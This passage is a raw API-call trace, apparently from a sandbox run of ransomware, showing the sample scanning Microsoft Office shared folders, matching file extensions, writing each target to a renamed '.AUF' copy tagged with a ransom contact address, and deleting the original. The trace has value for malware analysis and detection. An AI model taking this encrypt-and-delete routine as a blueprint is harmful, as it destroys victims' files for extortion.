[0211.820] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0211.820] lstrlenW (lpString=".jpg") returned 4 [0211.820] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.820] lstrcmpiW (lpString1=".jpg", lpString2=".AUF") returned 1 [0211.820] lstrlenW (lpString="Garden.jpg") returned 10 [0211.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.820] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=23871) returned 1 [0211.820] CloseHandle (hObject=0x1e8) returned 1 [0211.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0211.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".doc") returned 4 [0211.821] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.821] lstrlenW (lpString=".docx") returned 5 [0211.821] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0211.821] lstrlenW (lpString=".pdf") returned 4 [0211.821] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.821] lstrlenW (lpString=".xls") returned 4 [0211.821] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.821] lstrlenW (lpString=".xlsx") returned 5 [0211.821] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0211.821] lstrlenW (lpString=".ppt") returned 4 [0211.821] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".zip") returned 4 [0211.821] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.821] lstrlenW (lpString=".rar") returned 4 [0211.821] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.821] lstrlenW (lpString=".bz2") returned 4 [0211.821] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.821] lstrlenW (lpString=".7z") returned 3 [0211.821] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".dbf") returned 4 [0211.821] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".1cd") returned 4 [0211.821] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".jpg") returned 4 [0211.821] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.821] lstrlenW (lpString=".doc") returned 4 [0211.821] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.821] lstrlenW (lpString=".docx") returned 5 [0211.821] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0211.821] lstrlenW (lpString=".pdf") returned 4 [0211.822] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.822] lstrlenW (lpString=".xls") returned 4 [0211.822] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.822] lstrlenW (lpString=".xlsx") returned 5 [0211.822] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0211.822] lstrlenW (lpString=".ppt") returned 4 [0211.822] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.822] lstrlenW (lpString=".zip") returned 4 [0211.822] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.822] lstrlenW (lpString=".rar") returned 4 [0211.822] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.822] lstrlenW (lpString=".bz2") returned 4 [0211.822] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.822] lstrlenW (lpString=".7z") returned 3 [0211.822] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.822] lstrlenW (lpString=".dbf") returned 4 [0211.822] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.822] lstrlenW (lpString=".1cd") returned 4 [0211.822] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0211.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0211.822] lstrlenW (lpString=".jpg") returned 4 [0211.822] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0211.822] lstrcmpiW (lpString1=".emf", lpString2=".AUF") returned 1 [0211.822] lstrlenW (lpString="Genko_1.emf") returned 11 [0211.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.869] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5524) returned 1 [0211.869] CloseHandle (hObject=0x1e0) returned 1 [0211.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0211.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.869] lstrlenW (lpString=".doc") returned 4 [0211.869] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.869] lstrlenW (lpString=".docx") returned 5 [0211.869] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0211.869] lstrlenW (lpString=".pdf") returned 4 [0211.869] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.869] lstrlenW (lpString=".xls") returned 4 [0211.869] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".xlsx") returned 5 [0211.870] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0211.870] lstrlenW (lpString=".ppt") returned 4 [0211.870] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".zip") returned 4 [0211.870] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".rar") returned 4 [0211.870] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".bz2") returned 4 [0211.870] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString=".7z") returned 3 [0211.870] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".dbf") returned 4 [0211.870] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".1cd") returned 4 [0211.870] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".jpg") returned 4 [0211.870] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".doc") returned 4 [0211.870] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString=".docx") returned 5 [0211.870] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0211.870] lstrlenW (lpString=".pdf") returned 4 [0211.870] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".xls") returned 4 [0211.870] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".xlsx") returned 5 [0211.870] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0211.870] lstrlenW (lpString=".ppt") returned 4 [0211.870] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".zip") returned 4 [0211.870] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".rar") returned 4 [0211.870] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.870] lstrlenW (lpString=".bz2") returned 4 [0211.870] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString=".7z") returned 3 [0211.870] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".dbf") returned 4 [0211.870] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.870] lstrlenW (lpString=".1cd") returned 4 [0211.870] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0211.871] lstrlenW (lpString=".jpg") returned 4 [0211.871] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.871] lstrcmpiW (lpString1=".emf", lpString2=".AUF") returned 1 [0211.871] lstrlenW (lpString="Graph.emf") returned 9 [0211.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0211.903] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=116724) returned 1 [0211.903] CloseHandle (hObject=0x1e8) returned 1 [0211.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0211.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.905] lstrlenW (lpString=".doc") returned 4 [0211.905] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.905] lstrlenW (lpString=".docx") returned 5 [0211.905] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0211.905] lstrlenW (lpString=".pdf") returned 4 [0211.905] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.905] lstrlenW (lpString=".xls") returned 4 [0211.905] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.905] lstrlenW (lpString=".xlsx") returned 5 [0211.910] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0211.912] lstrlenW (lpString=".ppt") returned 4 [0211.912] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString=".zip") returned 4 [0211.912] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.912] lstrlenW (lpString=".rar") returned 4 [0211.912] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.912] lstrlenW (lpString=".bz2") returned 4 [0211.912] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.912] lstrlenW (lpString=".7z") returned 3 [0211.912] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString=".dbf") returned 4 [0211.912] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString=".1cd") returned 4 [0211.912] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString=".jpg") returned 4 [0211.912] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.912] lstrlenW (lpString=".doc") returned 4 [0211.912] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0211.912] lstrlenW (lpString=".docx") returned 5 [0211.912] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0211.913] lstrlenW (lpString=".pdf") returned 4 [0211.913] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0211.913] lstrlenW (lpString=".xls") returned 4 [0211.913] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0211.913] lstrlenW (lpString=".xlsx") returned 5 [0211.913] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0211.913] lstrlenW (lpString=".ppt") returned 4 [0211.913] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0211.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.913] lstrlenW (lpString=".zip") returned 4 [0211.913] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0211.913] lstrlenW (lpString=".rar") returned 4 [0211.913] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0211.913] lstrlenW (lpString=".bz2") returned 4 [0211.913] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0211.913] lstrlenW (lpString=".7z") returned 3 [0211.913] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0211.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.913] lstrlenW (lpString=".dbf") returned 4 [0211.913] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0211.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.913] lstrlenW (lpString=".1cd") returned 4 [0211.913] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0211.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0211.913] lstrlenW (lpString=".jpg") returned 4 [0211.913] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0211.913] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0211.913] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0211.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.241] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2985) returned 1 [0212.241] CloseHandle (hObject=0x208) returned 1 [0212.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0212.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.242] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.242] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.412] GetLastError () returned 0x0 [0212.412] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xba9, lpOverlapped=0x0) returned 1 [0212.439] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0212.439] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.439] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.440] SetEndOfFile (hFile=0x1e8) returned 1 [0212.440] CloseHandle (hObject=0x1e8) returned 1 [0212.440] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.440] SetEndOfFile (hFile=0x208) returned 1 [0212.441] CloseHandle (hObject=0x208) returned 1 [0212.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0212.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.441] lstrlenW (lpString=".doc") returned 4 [0212.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.441] lstrlenW (lpString=".docx") returned 5 [0212.441] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.441] lstrlenW (lpString=".pdf") returned 4 [0212.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.441] lstrlenW (lpString=".xls") returned 4 [0212.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.441] lstrlenW (lpString=".xlsx") returned 5 [0212.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.441] lstrlenW (lpString=".ppt") returned 4 [0212.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.441] lstrlenW (lpString=".zip") returned 4 [0212.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.441] lstrlenW (lpString=".rar") returned 4 [0212.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.441] lstrlenW (lpString=".bz2") returned 4 [0212.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.441] lstrlenW (lpString=".7z") returned 3 [0212.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".dbf") returned 4 [0212.442] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".1cd") returned 4 [0212.442] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".jpg") returned 4 [0212.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".doc") returned 4 [0212.442] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString=".docx") returned 5 [0212.442] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.442] lstrlenW (lpString=".pdf") returned 4 [0212.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString=".xls") returned 4 [0212.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString=".xlsx") returned 5 [0212.442] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.442] lstrlenW (lpString=".ppt") returned 4 [0212.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".zip") returned 4 [0212.442] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString=".rar") returned 4 [0212.442] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.442] lstrlenW (lpString=".bz2") returned 4 [0212.442] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString=".7z") returned 3 [0212.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".dbf") returned 4 [0212.442] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".1cd") returned 4 [0212.442] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0212.442] lstrlenW (lpString=".jpg") returned 4 [0212.443] lstrcmpiW 